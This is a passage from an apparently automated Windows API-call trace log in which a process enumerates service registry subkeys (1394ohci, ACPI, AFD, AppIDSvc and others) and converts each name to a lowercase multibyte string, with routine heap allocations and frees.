(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.376] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0260.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0260.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0260.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0260.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0260.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0260.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0260.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0260.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1d60, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0260.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.377] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0260.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0260.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0260.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0260.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0260.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0260.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0260.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0260.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.378] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0260.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0260.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0260.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0260.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0260.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0260.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.379] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0260.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0260.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.380] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0260.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0260.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.380] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0260.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0260.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.380] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0260.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0260.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.380] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0260.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0260.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0260.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0260.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0260.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0260.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0260.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0260.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0260.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0260.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0260.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 